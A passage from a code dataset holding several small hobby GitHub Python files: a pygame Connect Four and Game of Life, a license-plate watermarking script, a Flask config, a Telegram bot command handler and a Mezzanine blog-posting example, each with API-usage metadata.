True\n\n   # Check negatively sloped diaganols\n   for i in range(COLUMN_COUNT-3):\n      for j in range(3, ROW_COUNT):\n         if board[j][i] == piece and board[j-1][i+1] == piece and board[j-2][i+2] == piece and board[j-3][i+3] == piece:\n             return True\n\ndef drawBoard(board):\n   for c in range(COLUMN_COUNT):\n      for r in range(ROW_COUNT):\n         pygame.draw.rect(screen, BLUE, (c*SQUARESIZE, r*SQUARESIZE, SQUARESIZE, SQUARESIZE))\n         pygame.draw.circle(screen, BLACK, (int(c*SQUARESIZE+SQUARESIZE/2), int(r*SQUARESIZE+SQUARESIZE/2)), RADIUS)\n\n      for c in range(COLUMN_COUNT):\n         for r in range(ROW_COUNT):\n            if board[r][c] == 1:\n                  pygame.draw.circle(screen, RED, (int(c * SQUARESIZE + SQUARESIZE / 2), height - int(r * SQUARESIZE + SQUARESIZE / 2)), RADIUS)\n            elif board[r][c] == 2:\n               pygame.draw.circle(screen, YELLOW, (int(c * SQUARESIZE + SQUARESIZE / 2),height - int(r * SQUARESIZE + SQUARESIZE / 2)), RADIUS)\n   pygame.display.update()\n\ndef Game():\n    board = createBoard()\n    game_over = False\n    turn = 0\n\n    screen = pygame.display.set_mode(size)\n    drawBoard(board)\n    pygame.display.update()\n\n    myfont = pygame.font.SysFont(\"monospace\", 20)\n\n    clock = pygame.time.Clock()\n    def quitGame():\n        pygame.quit()\n        quit()\n\n\n    # Create the buttons\n    buttonQuit = Button(\"Quit\", (950, 700), (100, 50), (255, 0, 0), (0, 255, 0), (255, 255, 255), quitGame)\n\n\n\n    buttonQuit.draw(screen)\n    pygame.display.update()\n\n    while not game_over:\n\n       for event in pygame.event.get():\n          if event.type == pygame.QUIT:\n             sys.exit()\n          buttonQuit.handle_event(event)\n          clock.tick(60)\n\n\n          if event.type == pygame.MOUSEBUTTONDOWN:\n            mouse_pos = pygame.mouse.get_pos()\n            if mouse_pos[0] >= 0 and mouse_pos[0] < width - (2 * SQUARESIZE) and mouse_pos[1] >= 0 and mouse_pos[1] < height:\n             pygame.draw.rect(screen, BLACK, (0, 0, width, SQUARESIZE))\n\n\n              #Ask for Player 1 Input\n             if turn == 0:\n                posx = event.pos[0]\n                posy = event.pos[1]\n                col = int(math.floor(posx/SQUARESIZE))\n\n                coordinates = event.pos\n                position = tuple((value // 100) for value in coordinates)\n                satir = position[0] + 1\n                sutun = 9 - position[1]\n                print(satir, sutun)\n                s1 = file.write(str(satir))\n                s2 = file.write(str(sutun) + \"\\n\")\n\n\n                turn = 1\n\n                if isValidLocation(board, col):\n                   row = getNextOpenRow(board, col)\n                   dropPiece(board,  row, col, 1)\n\n\n                   if winningMove(board, 1):\n                      label = myfont.render(\"Player 1 Wins!\", 1, RED)\n                      screen.blit(label, (910, 10))\n                      game_over = True\n\n\n             # Ask for Player 2 Input\n             elif turn == 1:\n               posx = event.pos[0]\n               col = int(math.floor(posx / SQUARESIZE))\n\n               coordinates = event.pos\n               position = tuple((value // 100) for value in coordinates)\n               satir = position[0]\n               sutun = 8 - position[1]\n               print(satir, sutun)\n               s1 = file.write(str(satir))\n               s2 = file.write(str(sutun) + \"\\n\")\n\n               turn = 0\n\n               if isValidLocation(board, col):\n                  row = getNextOpenRow(board, col)\n                  dropPiece(board, row, col, 2)\n\n\n               if winningMove(board, 2):\n                  label = myfont.render(\"Player 2 Wins!\", 1, YELLOW)\n                  screen.blit(label, (910, 10))\n                  game_over = True\n\n\n             printBoard(board)\n             drawBoard(board)\n             allPositions(board, row, col, position)\n\n             if game_over:\n                pygame.time.wait(1000)\n                pygame.quit()\n                file.close()\n\n\npygame.init()\n\nscreen = pygame.display.set_mode((width, height))\npygame.display.set_caption(\"Menu\")\npygame.draw.circle(screen, YELLOW, (200, 400), RADIUS)\npygame.draw.circle(screen, RED, (100, 500), RADIUS)\npygame.draw.circle(screen, YELLOW, (300, 640), RADIUS)\npygame.draw.circle(screen, RED, (900, 850), RADIUS)\npygame.draw.circle(screen, BLUE, (600, 100), RADIUS)\npygame.draw.circle(screen, RED, (790, 700), RADIUS)\npygame.draw.circle(screen, BLUE, (990, 900), RADIUS)\npygame.draw.circle(screen, BLUE, (650, 750), RADIUS)\npygame.draw.circle(screen, YELLOW, (650, 200), RADIUS)\npygame.draw.circle(screen, BLUE, (880, 170), RADIUS)\n\n\n\ndef startGame():\n    Game()\n\ndef resumedGame():\n    pass\n\ndef quitGameMenu():\n    pygame.quit()\n    quit()\n\nbuttonStart = Button(\"Start New Game\", (450, 500), (200, 50), (255, 0, 0), (0, 255, 0), (255, 255, 255), startGame)\nbuttonResume = Button(\"Resume The Game\", (450, 600), (200, 50), (255, 0, 0), (0, 255, 0), (255, 255, 255), resumedGame)\nbuttonQuitMenu = Button(\"Quit The Game\", (450, 700), (200, 50), (255, 0, 0), (0, 255, 0), (255, 255, 255), quitGameMenu)\n\n\npygame.init()\n\nrunning = True\nwhile running:\n    for event in pygame.event.get():\n        if event.type == pygame.QUIT:\n            running = False\n        elif event.type == pygame.MOUSEBUTTONDOWN:\n            if event.button == 1:\n                mouse_pos = pygame.mouse.get_pos()\n                if buttonResume.handle_event(event):\n                    resumedGame()\n\n            buttonStart.handle_event(event)\n            buttonQuitMenu.handle_event(event)\n\n    buttonStart.draw(screen)\n    buttonResume.draw(screen)\n    buttonQuitMenu.draw(screen)\n\n    pygame.display.update()\n\n\n\n\n", "repo_name": "leylamehtiyevaa/ConnectFour", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 7856, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.zeros", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.flip", "line_number": 35, "usage_type": "call"}, {"api_name": "pygame.draw.rect", "line_number": 93, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 93, "usage_type": "attribute"}, {"api_name": "pygame.draw.circle", "line_number": 94, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 94, "usage_type": "attribute"}, {"api_name": "pygame.draw.circle", "line_number": 99, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 99, "usage_type": "attribute"}, {"api_name": "pygame.draw.circle", "line_number": 101, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 101, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 102, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 102, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 109, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 109, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 111, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 111, "usage_type": "attribute"}, {"api_name": "pygame.font.SysFont", "line_number": 113, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 113, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 115, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 115, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 117, "usage_type": "call"}, {"api_name": "button.Button", "line_number": 122, "usage_type": "call"}, {"api_name": "pygame.display.update", "line_number": 127, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 127, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 131, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 131, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 132, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 133, "usage_type": "call"}, {"api_name": "pygame.MOUSEBUTTONDOWN", "line_number": 138, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pos", "line_number": 139, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 139, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 141, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 141, "usage_type": "attribute"}, {"api_name": "math.floor", "line_number": 148, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 175, "usage_type": "call"}, {"api_name": "pygame.time.wait", "line_number": 203, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 203, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 204, "usage_type": "call"}, {"api_name": "pygame.init", "line_number": 208, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 210, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 210, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 211, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 211, "usage_type": "attribute"}, {"api_name": "pygame.draw.circle", "line_number": 212, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 212, "usage_type": "attribute"}, {"api_name": "pygame.draw.circle", "line_number": 213, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 213, "usage_type": "attribute"}, {"api_name": "pygame.draw.circle", "line_number": 214, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 214, "usage_type": "attribute"}, {"api_name": "pygame.draw.circle", "line_number": 215, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 215, "usage_type": "attribute"}, {"api_name": "pygame.draw.circle", "line_number": 216, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 216, "usage_type": "attribute"}, {"api_name": "pygame.draw.circle", "line_number": 217, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 217, "usage_type": "attribute"}, {"api_name": "pygame.draw.circle", "line_number": 218, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 218, "usage_type": "attribute"}, {"api_name": "pygame.draw.circle", "line_number": 219, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 219, "usage_type": "attribute"}, {"api_name": "pygame.draw.circle", "line_number": 220, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 220, "usage_type": "attribute"}, {"api_name": "pygame.draw.circle", "line_number": 221, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 221, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 232, "usage_type": "call"}, {"api_name": "button.Button", "line_number": 235, "usage_type": "call"}, {"api_name": "button.Button", "line_number": 236, "usage_type": "call"}, {"api_name": "button.Button", "line_number": 237, "usage_type": "call"}, {"api_name": "pygame.init", "line_number": 240, "usage_type": "call"}, {"api_name": "pygame.event.get", "line_number": 244, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 244, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 245, "usage_type": "attribute"}, {"api_name": "pygame.MOUSEBUTTONDOWN", "line_number": 247, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pos", "line_number": 249, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 249, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 260, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 260, "usage_type": "attribute"}]}
{"seq_id": "74394466826", "text": "# -*- coding: utf-8 -*-\nfrom algo.license_detection import Detection\nfrom algo.add_watermark import AddWaterMark\nfrom PIL import Image\nimport os\nimport time\n\n\nclass Main(object):\n    \"\"\"车牌替换主程序入口\"\"\"\n    def __init__(self, image_path, image_name, watermark_path, width, height, prototxt_path, caffemodel_path):\n        \"\"\"初始化参数\"\"\"\n        self.image_path = image_path\n        self.image_name = image_name\n        self.watermark_path = watermark_path\n        self.width = width\n        self.height = height\n        self.prototxt_path = prototxt_path\n        self.caffemodel_path = caffemodel_path\n\n    def main(self):\n        \"\"\"执行器\"\"\"\n        detector = Detection(self.width, self.height, self.image_path, self.prototxt_path, self.caffemodel_path)\n        bounding_box = detector.get_bounding_box()\n        if bounding_box is not None:\n            bounding_box = bounding_box[2:6]\n            image = detector.crop_image()\n            watermark = Image.open(self.watermark_path)\n            engine = AddWaterMark(image, self.image_name, watermark, bounding_box)\n            engine.add_watermark()\n            engine.save_image()\n        else:\n            image = Image.open(self.image_path)\n            image.save(\"C:\\\\Users\\\\ABC\\\\PycharmProjects\\\\License_Plate_Detection\\\\result\\\\{:}\".format(self.image_name), \"JPEG\")\n\n\nif __name__ == \"__main__\":\n    test_dir = \"./benz\"\n    watermark_path = \"./resources/watermark.png\"\n    width, height = 1024, 720\n    prototxt_path, caffemodel_path = \"./resources/MobileNetSSD_test.prototxt\", \"./resources/lpr.caffemodel\"\n    time_recorde  =[]\n    for image_name in os.listdir(test_dir):\n        start_time = time.time()\n        if image_name.endswith(\".jpg\"):\n            image_path = test_dir + \"/\" + image_name\n            engine = Main(image_path, image_name, watermark_path, width, height, prototxt_path, caffemodel_path)\n            engine.main()\n            end_time = time.time()\n            cost_time = end_time - start_time\n            time_recorde.append(cost_time)\n            print(image_name, \"Cost time: {:.3f}s\".format(cost_time))\n    print(\"average time : {}\".format(sum(time_recorde) / len(time_recorde)))", "repo_name": "DeerZhifan/License_Plate_Detection", "sub_path": "engine_main.py", "file_name": "engine_main.py", "file_ext": "py", "file_size_in_byte": 2193, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "algo.license_detection.Detection", "line_number": 23, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 28, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 28, "usage_type": "name"}, {"api_name": "algo.add_watermark.AddWaterMark", "line_number": 29, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 33, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 33, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 43, "usage_type": "call"}, {"api_name": "time.time", "line_number": 44, "usage_type": "call"}, {"api_name": "time.time", "line_number": 49, "usage_type": "call"}]}
{"seq_id": "9296311395", "text": "TEMPLATES_AUTO_RELOAD = True\r\nEXPLAIN_TEMPLATE_LOADING = True\r\n# FLASK_DEBUG = True\r\n# env = 'development'\r\n\r\nimport os\r\ndb_path = os.path.join(os.path.dirname(__file__), 'bakery.db')\r\nSQLALCHEMY_DATABASE_URI = \"sqlite:///{}\".format(db_path)\r\nSQLALCHEMY_TRACK_MODIFICAIONS = False\r\n\r\nfrom tempfile import mkdtemp\r\nfrom datetime import timedelta\r\nSESSION_FILE_DIR=mkdtemp()\r\nSESSION_PERMANENT=True\r\nPERMANENT_SESSION_LIFETIME = timedelta(minutes = 30)\r\nSESSION_REFRESH_EACH_REQUEST = True\r\n# SEND_FILE_MAX_AGE_DEFAULT = timedelta(minutes = 1)\r\nSESSION_TYPE='filesystem'\r\nREMEMBER_COOKIE_DURAITON = timedelta(minutes = 30)\r\n\r\nimport secrets\r\n\r\nSECRET_KEY = secrets.token_hex(16)\r\n\r\nUPLOAD_FOLDER = \"static/images/uploads\"\r\n", "repo_name": "joeykokbin/flask-implementation", "sub_path": "main/config.py", "file_name": "config.py", "file_ext": "py", "file_size_in_byte": 721, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.path.join", "line_number": 7, "usage_type": "call"}, {"api_name": "os.path", "line_number": 7, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 7, "usage_type": "call"}, {"api_name": "tempfile.mkdtemp", "line_number": 13, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 15, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 19, "usage_type": "call"}, {"api_name": "secrets.token_hex", "line_number": 23, "usage_type": "call"}]}
{"seq_id": "7852324692", "text": "import pygame\nimport random\n\nWIDTH = 800\nHEIGHT = 600\nFPS = 24\ncell_size = 5\nrandom_cells = 2000\n\nBLACK = (0, 0, 0)\nGREEN = (0, 255, 0)\nBLUE = (0, 0, 255)\n\ndef getHeight():\n    return screen.get_height() // cell_size\n\ndef getWidth():\n    return screen.get_width() // cell_size\n\n\n\npygame.init()\nscreen = pygame.display.set_mode((WIDTH, HEIGHT))\npygame.display.set_caption(\"Life\")\nclock = pygame.time.Clock()\n\ncells = [[False for i in range(getHeight() + 1)] for j in range(getWidth() + 1)]\nneighbors = [[0 for i in range(getHeight())] for j in range(getWidth())]\n\nfor i in range(random_cells):\n    cells[random.randint(0, getWidth() - 1)][random.randint(0, getHeight() - 1)] = True\n\ndef setCell(x,y):\n\n    x = x // cell_size\n    y = y // cell_size\n    cells[x][y] = not cells[x][y]\n\ndef game():\n\n    area = (-1,0),(-1,-1),(0,-1),(1,-1),(1,0),(1,1),(0,1),(-1,1)\n    for i, ni in enumerate(neighbors):\n        for j in range(len(ni)):\n            counter = 0\n            for a in area:\n                if cells[i + a[0]][j + a[1]]:\n                    counter += 1\n                neighbors[i][j] = counter\n\n\n\n    for i, ni in enumerate(neighbors):\n        for j, nj in enumerate(ni):\n            if cells[i][j]:\n                if nj not in (2,3):\n                    cells[i][j] = False\n            else:\n                if neighbors[i][j] == 3:\n                    cells[i][j] = True\n\nrunning = True\npause = True\nwhile running:\n\n    clock.tick(FPS)\n\n    for event in pygame.event.get():\n        if event.type == pygame.QUIT:\n            running = False\n        if event.type == pygame.KEYDOWN:\n            if event.key == pygame.K_SPACE:\n                pause = not pause\n        if event.type == pygame.MOUSEBUTTONDOWN:\n            x,y = pygame.mouse.get_pos()\n            setCell(x,y)\n\n\n\n    screen.fill(BLACK)\n\n    for i in range(getWidth()):\n        pygame.draw.line(screen, BLUE, (i * cell_size, 0),\n                         (i * cell_size, screen.get_height()))\n    for j in range(getHeight()):\n        pygame.draw.line(screen, BLUE, (0 , j * cell_size),\n                         (screen.get_width(), j * cell_size))\n\n    for i in range(getWidth()):\n        for j in range(getHeight()):\n            if cells[i][j] == True:\n                pygame.draw.rect(screen, GREEN, pygame.Rect(1 + i * cell_size,\n                                 1 + j * cell_size, cell_size, cell_size))\n\n\n    pygame.display.flip()\n    if not pause:\n        game()\n", "repo_name": "UdovenkoAV/GameOfLife", "sub_path": "life.py", "file_name": "life.py", "file_ext": "py", "file_size_in_byte": 2444, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pygame.init", "line_number": 22, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 23, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 23, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 24, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 24, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 25, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 25, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 31, "usage_type": "call"}, {"api_name": "pygame.event.get", "line_number": 67, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 67, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 68, "usage_type": "attribute"}, {"api_name": "pygame.KEYDOWN", "line_number": 70, "usage_type": "attribute"}, {"api_name": "pygame.K_SPACE", "line_number": 71, "usage_type": "attribute"}, {"api_name": "pygame.MOUSEBUTTONDOWN", "line_number": 73, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pos", "line_number": 74, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 74, "usage_type": "attribute"}, {"api_name": "pygame.draw.line", "line_number": 82, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 82, "usage_type": "attribute"}, {"api_name": "pygame.draw.line", "line_number": 85, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 85, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 91, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 91, "usage_type": "attribute"}, {"api_name": "pygame.Rect", "line_number": 91, "usage_type": "call"}, {"api_name": "pygame.display.flip", "line_number": 95, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 95, "usage_type": "attribute"}]}
{"seq_id": "4568407744", "text": "from funcs.stats     import my_stats, chat_stats, stat\nfrom funcs.translate import translates\nfrom funcs.yout_dl   import down_func\nfrom funcs.random    import rand_nyan\nfrom funcs.exchange  import Exchange\nfrom funcs.punto     import punto\nfrom funcs.tts       import tts\nfrom config          import nyanpasu_id\nfrom subprocess      import check_output\nfrom time            import sleep as sleep\nfrom threading       import Thread\nimport random\nimport re\n\ndef functions(app, message, chat, service, reply_usrname):\n    mmbr = message.from_user\n    msb = str(message.text)\n    msg = msb.lower()\n    msgs = msg.split()\n    rp = message.reply\n    chat_id = message.chat.id\n    msg_id = int(message.reply_to_message.message_id) if message.reply_to_message else int(message.message_id)\n    usrname = ('@' + str(message.from_user.username)) if message.from_user.username else message.from_user.first_name\n    translates = ('!translate', '!trans', '!tl')\n    nyanpasu_mmbr = app.get_chat_member(chat_id, nyanpasu_id)\n    nyanpasu_stat = nyanpasu_mmbr.status\n    print('user funcs at '+str(chat_id)+' - '+str(message.message_id))\n\n    if '!stats' in msgs[0]: \n        stats_thr = Thread(target=chat_stats, args=(app, chat_id, chat, \n                    service, sleep, message.message_id, nyanpasu_stat))\n        stats_thr.run()       \n    \n    elif '!karma' in msgs[0]:\n        if message.reply_to_message:\n            txt = stat(service, message, chat)\n        else:\n            txt = my_stats(chat, service, mmbr.id)\n        rp(txt)\n\n    elif '!rand' in msgs[0]:\n        rand_nyan(app, service, chat_id, msg_id, msgs, msb, sleep)\n\n    elif msgs[0] in translates:\n        translates(app, lang, msb, chat_id, message, usrname, reply_usrname)\n\n    elif '!tts' in msgs[0] and chat.ttsm == 1:\n        tts_thr = Thread(target=tts, args=(chat, app, msb, msg_id, chat_id))\n        tts_thr.run()\n            \n    elif '!exch' in msgs[0]:\n        if 'help' in msgs[1]:\n            url_txt = '<a href=\"https://www.exchangerate-api.com/docs/supported-currencies\"> Поддерживаемые валюты</a>'\n            txt = url_txt+'\\n'+service['helpe']\n        else:\n            exch = Exchange()\n            if   'add' in msgs[1]:  txt = exch.exchange_add(msgs[2], str(mmbr.id))\n            elif 'del' in msgs[1]:  txt = exch.exchange_del(msgs[2], str(mmbr.id))\n            else:                   txt = exch.exchange_run(msgs[2], msgs[3], msgs[1], str(mmbr.id))\n        rp(txt)\n    \n    elif '!ut' in msgs[0]:\n        if 'help' in msgs[1]:\n                url_txt = '<a href=\"https://github.com/ytdl-org/youtube-dl/blob/master/docs/supportedsites.md\"> Поддерживаемые сайты</a>'\n                txt = url_txt+'\\n'+service['help_youtube']\n                rp(txt, disable_web_page_preview=True)\n        else:\n            if    'aud' in msgs[1]:    upload = '_audio'\n            elif  'vid' in msgs[1]:    upload = '_video'\n            elif 'link' in msgs[1]:    upload = 'typing'\n            msbs = msb.split()\n            res = ('144', '240', '360', '480', '720', '1080', '1440', '2160')\n            if msgs[2] in res:\n                ut_thr = Thread(target=down_func, \n                args=(msg_id, chat_id, msbs[3], app, upload, service, msbs[2]))\n            else:\n                ut_thr = Thread(target=down_func, \n                args=(msg_id, chat_id, msbs[2], app, upload, service))\n            ut_thr.run()\n\n    elif '!calc' in msgs[0]:\n        file = \"/home/katsu/Documents/katsu_bots/funcs/RPN\"\n        expression = bytes(msg.replace('!calc ', ''), 'UTF-8')\n        t = check_output(file, input=expression)\n        res = str(round(float(str(t).replace(\"b'\",'').replace(\"\\\\n'\", ' '))))\n        txt = msg.replace('!calc ', '') + ' = ' + res\n        sleep(1)\n        rp(txt)\n\n    elif '!punto' in msgs[0]:\n        text = punto(msgs[1], message.reply_to_message.text, service['punt_lang'])\n        txt = reply_usrname + service['punto'] + text\n        app.send_message(chat_id, txt, reply_to_message_id = msg_id, disable_notification=True)\n\n    elif '!user' in msgs[0]:\n        if 'cond' in msgs[1]:\n            if 'on' == msgs[2]:\n                chat.users[mmbr.id].cond = 1\n                rp(service['user_rp_on'])\n            elif 'off' == msgs[2]:\n                chat.users[mmbr.id].cond = 0\n                rp(service['user_rp_off'])    \n        elif 'shipper' in msgs[1]:\n            if 'on' == msgs[2]:\n                chat.users[mmbr.id].ship = 1\n                rp(service['user_ship_on'])\n            elif 'off' == msgs[2]:\n                chat.users[mmbr.id].ship = 0\n                rp(service['usr_ship_off'])\n        elif 'help' in msgs[1]:\n            rp(service['help_usr_set'])\n                \n    elif '!id' in msgs[0]:\n        try:\n            if 'stick' in msg:\n                txt = ('Sticker set: '+message.reply_to_message.sticker.set_name \n                +' '+ message.reply_to_message.sticker.emoji+'\\n'+\n                'Stiker ID: '+message.reply_to_message.sticker.file_id)\n            if 'msg' in msg:\n                txt = ('Chat ID: '+str(chat_id)+\n                '\\nUser ID: '+str(message.reply_to_message.from_user.id)+\n                '\\nMessage ID: '+str(message.reply_to_message.message_id))\n            if 'voice' in msg:\n                txt = ('Voice ID: '+message.reply_to_message.voice.file_id)\n        except AttributeError:    txt = service['id_error']\n        app.send_message(chat_id, txt, \n        reply_to_message_id=msg_id, disable_notification=True)    \n                \n    elif '!admins' in msg:\n        admins = ''\n        for member in app.iter_chat_members(message.chat.id, filter='administrators'):\n            mu = member.user\n            if mu.username:        muu = ' - ' + mu.username\n            else:                muu = ' - ' + mu.first_name\n            if member.title:    mt  = ' - ' + member.title\n            else:                mt  = ' '\n            if member.status == 'creator':\n                admins = (str(member.status + muu +  mt + '\\n') + admins)\n            else: \n                admins += str(member.status + muu +  mt + '\\n')\n        rp(admins)\n    \n    elif '!help' in msgs[0]:    \n        txt = service['help']\n        rp(txt, disable_web_page_preview=True)", "repo_name": "akatsukinoyami/hanekawa_bot", "sub_path": "funcs/functions.py", "file_name": "functions.py", "file_ext": "py", "file_size_in_byte": 6260, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "funcs.translate.translates", "line_number": 24, "usage_type": "name"}, {"api_name": "config.nyanpasu_id", "line_number": 25, "usage_type": "argument"}, {"api_name": "threading.Thread", "line_number": 30, "usage_type": "call"}, {"api_name": "funcs.stats.chat_stats", "line_number": 30, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 31, "usage_type": "name"}, {"api_name": "funcs.stats.stat", "line_number": 36, "usage_type": "call"}, {"api_name": "funcs.stats.my_stats", "line_number": 38, "usage_type": "call"}, {"api_name": "funcs.random.rand_nyan", "line_number": 42, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 42, "usage_type": "argument"}, {"api_name": "funcs.translate.translates", "line_number": 44, "usage_type": "name"}, {"api_name": "funcs.translate.translates", "line_number": 45, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 48, "usage_type": "call"}, {"api_name": "funcs.tts.tts", "line_number": 48, "usage_type": "name"}, {"api_name": "funcs.exchange.Exchange", "line_number": 56, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 74, "usage_type": "call"}, {"api_name": "funcs.yout_dl.down_func", "line_number": 74, "usage_type": "name"}, {"api_name": "threading.Thread", "line_number": 77, "usage_type": "call"}, {"api_name": "funcs.yout_dl.down_func", "line_number": 77, "usage_type": "name"}, {"api_name": "subprocess.check_output", "line_number": 84, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 87, "usage_type": "call"}, {"api_name": "funcs.punto.punto", "line_number": 91, "usage_type": "call"}]}
{"seq_id": "40908066974", "text": "import pprint\nimport datetime\n\n# Python 2 and 3 compatible input\nfrom builtins import input\n\nfrom mezzanine_client import Mezzanine\nfrom mezzanine_client.utils import str_header, str_green\n\n\n# Initialise Mezzanine API client\napi = Mezzanine()\n\n# Input blog article\nprint(str_header('Publish a new blog post...'))\ntitle = input(str_header('Title: ')).strip()\ncontent = input(str_header('Content: ')).strip()\ncategories = input(str_header('Categories (comma separated): ')).strip()\n\nblog_post_data = {'title': title,\n                  'content': content,\n                  'categories': categories,\n                  'publish_date': datetime.datetime.utcnow().isoformat()\n                  }\n\n# Publish new blog article via POST to API\nresponse = api.create_post(blog_post_data)\npprint.pprint(response)\nif 'id' in response:\n    print(str_green('Blog post successfully published with ID #{}'.format(response['id'])))\n", "repo_name": "gcushen/mezzanine-client-python", "sub_path": "examples/posts_create.py", "file_name": "posts_create.py", "file_ext": "py", "file_size_in_byte": 914, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "81", "api": [{"api_name": "mezzanine_client.Mezzanine", "line_number": 12, "usage_type": "call"}, {"api_name": "mezzanine_client.utils.str_header", "line_number": 15, "usage_type": "call"}, {"api_name": "builtins.input", "line_number": 16, "usage_type": "call"}, {"api_name": "mezzanine_client.utils.str_header", "line_number": 16, "usage_type": "call"}, {"api_name": "builtins.input", "line_number": 17, "usage_type": "call"}, {"api_name": "mezzanine_client.utils.str_header", "line_number": 17, "usage_type": "call"}, {"api_name": "builtins.input", "line_number": 18, "usage_type": "call"}, {"api_name": "mezzanine_client.utils.str_header", "line_number": 18, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 23, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 23, "usage_type": "attribute"}, {"api_name": "pprint.pprint", "line_number": 28, "usage_type": "call"}, {"api_name": "mezzanine_client.utils.str_green", "line_number": 30, "usage_type": "call"}]}
